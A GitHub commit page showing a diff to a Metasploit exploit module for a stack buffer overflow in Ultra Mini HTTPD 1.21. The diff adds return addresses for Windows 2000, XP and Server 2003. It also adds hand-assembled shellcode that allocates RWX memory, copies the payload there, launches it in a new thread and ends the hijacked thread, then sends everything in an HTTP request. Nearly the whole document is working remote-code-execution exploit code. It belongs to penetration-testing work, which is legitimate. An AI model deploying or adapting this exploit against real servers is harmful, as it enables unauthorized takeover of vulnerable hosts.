Skip to content

Commit b2d4048

Browse files
committed
Land rapid7#3027, @OJ's fix for ultraminihttp_bof
2 parents 5cdd9a2 + c9f0885 commit b2d4048

File tree

1 file changed

+112
-11
lines changed

1 file changed

+112
-11
lines changed

modules/exploits/windows/http/ultraminihttp_bof.rb

Lines changed: 112 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -10,19 +10,28 @@ class Metasploit3 < Msf::Exploit::Remote
1010

1111
include Msf::Exploit::Remote::HttpClient
1212

13+
ADDR_VIRTUALALLOC = 0x0041A140
14+
ADDR_CREATETHREAD = 0x0041A240
15+
ADDR_TERMINATETHREAD = 0x0041A23C
16+
1317
def initialize(info={})
1418
super(update_info(info,
1519
'Name' => "Ultra Mini HTTPD Stack Buffer Overflow",
1620
'Description' => %q{
1721
This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21,
1822
allowing remote attackers to execute arbitrary code via a long resource name in an HTTP
19-
request.
23+
request. This exploit has to deal with the fact that the application's request handler
24+
thread is terminated after 60 seconds by a "monitor" thread. To do this, it allocates
25+
some RWX memory, copies the payload to it and creates another thread. When done, it
26+
terminates the current thread so that it doesn't crash and hence doesn't bring down
27+
the process with it.
2028
},
2129
'License' => MSF_LICENSE,
2230
'Author' =>
2331
[
24-
'superkojiman', #Discovery, PoC
25-
'PsychoSpy <neinwechter[at]gmail.com>' #Metasploit
32+
'superkojiman', # Discovery, PoC
33+
'PsychoSpy <neinwechter[at]gmail.com>', # Metasploit
34+
'OJ Reeves <oj[at]buffered.io>' # Metasploit
2635
],
2736
'References' =>
2837
[
@@ -33,22 +42,41 @@ def initialize(info={})
3342
],
3443
'Payload' =>
3544
{
36-
'Space' => 1623,
37-
'StackAdjustment' => -3500,
3845
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f"
3946
},
40-
'DefaultOptions' =>
47+
'DefaultOptions' =>
4148
{
42-
'ExitFunction' => "thread"
49+
'EXITFUNC' => "thread"
4350
},
4451
'Platform' => 'win',
4552
'Targets' =>
4653
[
4754
[
48-
'v1.21 - Windows XP SP3',
55+
'v1.21 - Windows Server 2000',
56+
{
57+
'Offset' => 5412,
58+
'Ret' => 0x78010324 # push esp / ret - msvcrt.dll
59+
}
60+
],
61+
[
62+
'v1.21 - Windows XP SP0',
63+
{
64+
'Offset' => 5412,
65+
'Ret' => 0x77C4C685 # push esp / ret - msvcrt.dll
66+
}
67+
],
68+
[
69+
'v1.21 - Windows XP SP2/SP3',
4970
{
5071
'Offset' => 5412,
51-
'Ret'=>0x77c354b4 # push esp / ret - msvcrt.dll
72+
'Ret' => 0x77c354b4 # push esp / ret - msvcrt.dll
73+
}
74+
],
75+
[
76+
'v1.21 - Windows Server 2003 (Enterprise)',
77+
{
78+
'Offset' => 5412,
79+
'Ret' => 0x77BDD7F5 # push esp / ret - msvcrt.dll
5280
}
5381
]
5482
],
@@ -58,15 +86,88 @@ def initialize(info={})
5886
))
5987
end
6088

89+
def mov_eax(addr)
90+
"\xB8" + [addr].pack("V*")
91+
end
92+
93+
def call_addr_eax(addr)
94+
mov_eax(addr) + "\xff\x10"
95+
end
96+
6197
def exploit
62-
buf = rand_text(target['Offset'])
98+
new_thread = ""
99+
100+
# we use 0 a lot, so set EBX to zero so we always have it handy
101+
new_thread << "\x31\xdb" # xor ebx,ebx
102+
103+
# store esp in esi, and offset it to point at the rest of the payload
104+
# as this will be used as the source for copying to the area of memory
105+
# which will be executed in a separate thread. We fill in the offset
106+
# at the end as we can calculate it instead of hard-code it
107+
new_thread << "\x89\xe6" # mov esi,esp
108+
new_thread << "\x83\xc6\x00" # add esp,<TODO>
109+
esi_count_offset = new_thread.length - 1
110+
111+
# Create a new area of memory with RWX permissions that we can copy
112+
# the payload to and execute in another thread. This is required
113+
# because the current thread is killed off after 60 seconds and it
114+
# takes our payload's execution with it.
115+
new_thread << "\x6a\x40" # push 0x40
116+
new_thread << "\x68\x00\x30\x00\x00" # push 0x3000
117+
new_thread << "\x68\x00\x10\x00\x00" # push 0x1000
118+
new_thread << "\x53" # push ebx (0)
119+
new_thread << call_addr_eax(ADDR_VIRTUALALLOC) # call VirtualAlloc
120+
121+
# copy the rest of the payload over to the newly allocated area of
122+
# memory which is executable.
123+
payload_size = [payload.encoded.length].pack("V*")
124+
new_thread << "\xb9" + payload_size # mov ecx,payload_size
125+
new_thread << "\x89\xc7" # mov edi,eax
126+
new_thread << "\xf2\xa4" # rep movsb
127+
128+
# kick of the payload in a new thread
129+
new_thread << "\x53" # push ebx (0)
130+
new_thread << "\x53" # push ebx (0)
131+
new_thread << "\x53" # push ebx (0)
132+
new_thread << "\x50" # push eax (payload dress)
133+
new_thread << "\x53" # push ebx (0)
134+
new_thread << "\x53" # push ebx (0)
135+
new_thread << call_addr_eax(ADDR_CREATETHREAD) # call CreateThread
136+
137+
# Terminate the current thread so that we don't crash and hence bring
138+
# the entire application down with us.
139+
new_thread << "\x53" # push ebx (0)
140+
# set ebx to 0xFFFFFFFE as this is the psuedohandle for the current thread
141+
new_thread << "\x4b" # dec ebx
142+
new_thread << "\x4b" # dec ebx
143+
new_thread << "\x53" # push ebx (0xFFFFFFFE)
144+
new_thread << call_addr_eax(ADDR_TERMINATETHREAD) # call CreateThread
145+
146+
# patch the offset of esi back into the payload
147+
nops = 32
148+
decode_stub_size = 23
149+
calculated_offset = new_thread.length + nops + decode_stub_size
150+
new_thread[esi_count_offset, 1] = [calculated_offset].pack("c*")
151+
152+
# start constructing our final payload
153+
buf = rand_text_alpha_upper(target['Offset'])
63154
buf << [target.ret].pack("V*")
155+
156+
# ESP points right to the top of our shellcode so we just add a few nops
157+
# to the start to avoid having the first few bytes nailed by the decoder.
158+
buf << make_nops(nops)
159+
160+
# we re-encode, including the thread creation stuff and the chosen payload
161+
# as we don't currently have the ability to "prepend raw" stuff to the front
162+
# of the buffer prior to encoding.
163+
buf << encode_shellcode_stub(new_thread)
64164
buf << payload.encoded
65165

66166
print_status("Sending buffer...")
67167
send_request_cgi({
68-
'method' => 'GET',
168+
'method' => 'POST',
69169
'uri' => "/#{buf}"
70170
})
71171
end
72172
end
173+

0 commit comments

Comments
 (0)